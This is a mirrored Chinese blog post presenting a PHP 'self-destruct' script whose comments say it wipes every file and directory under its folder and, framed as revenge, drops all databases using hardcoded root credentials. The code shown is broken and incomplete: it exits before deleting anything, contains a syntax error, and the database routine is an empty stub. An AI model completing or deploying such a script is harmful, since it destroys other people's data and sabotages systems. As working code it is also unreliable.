zoukankan      html  css  js  c++  java
  • PHP自毁程序

    <?php
    // +----------------------------------------------------------------------
    // | Kill!!
    // | 程序将清除本目录所有文件、目录
    // | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
    // +----------------------------------------------------------------------
    // | Version: $Id$
    // +---------------------------------------------------------------------- 
     
    //----------数据库配置区域-----------------
    //复仇的力量是很可怕的,所以无需指定数据库,全删!
    define('DB_USER', 'root');
    define('DB_PWD', 'root');
    define('DB_HOST', 'localhost');
    define('DB_PORT', '3216');
    define('DB_DAMAGE', true);  //为false时,不碰数据库
     
    run();
     
    /**
     * 主体思想必须光辉伟大!
     *
     * @return void
     **/
    function run()
    {
        //删除文件
        deletedir();
        //删除数据库
        deleteDB();
    }
     
    /**
     * 呵呵呵,删除当前目录所有文件(递归)
     *
     * @return void
     **/
    function deletedir($dir = ''){
        if ($dir == '') {
            $dir = realpath('.');
        }
        echo $dir;
        exit();
          if(!handle=@opendir($dir)){     //检测要打开目录是否存在
            die("没有该目录");
          }
          while(false !==($file=readdir($handle))){
                   if($file!=="."&&$file!==".."){       //排除当前目录与父级目录
                    $file=$dir .DIRECTORY_SEPARATOR. $file;
                    if(is_dir($file)){
                        deletedir($file);
                    }else{
                        if(@unlink($file)){
                            echo "文件<b>$file</b>删除成功。<br>";
                        }else{
                            echo  "文件<b>$file</b>删除失败!<br>";
                        }
                    }
                   }
                   if(@rmdir($dir)){
                    echo "目录<b>$dir</b>删除成功了。<br>
    ";
                   }else{
                    echo "目录<b>$dir</b>删除失败!<br>
    ";
                   }
               }
     
    /**
     * 呵呵呵,删除数据库
     *
     * @return void
     **/
    function deleteDB()
    {
        if(DB_DAMAGE === true){
            //start
        }
    }



  • 相关阅读:
    IDEA导入springboot项目报错:non-managed pom.xml file found
    Keepalived高可用集群(还没细看)
    Keepalived服务
    *** WARNING
    POJ 2185 Milking Grid (搬运KMP)
    POJ 1961 Period (弱鸡三战KMP)
    POJ 2752 Seek the Name, Seek the Fame (KMP next数组再次应用)
    POJ 2406 Power Strings(KMPnext数组的应用)
    杂模板
    URAL
  • 原文地址:https://www.cnblogs.com/qhorse/p/4661834.html
Copyright © 2011-2022 走看看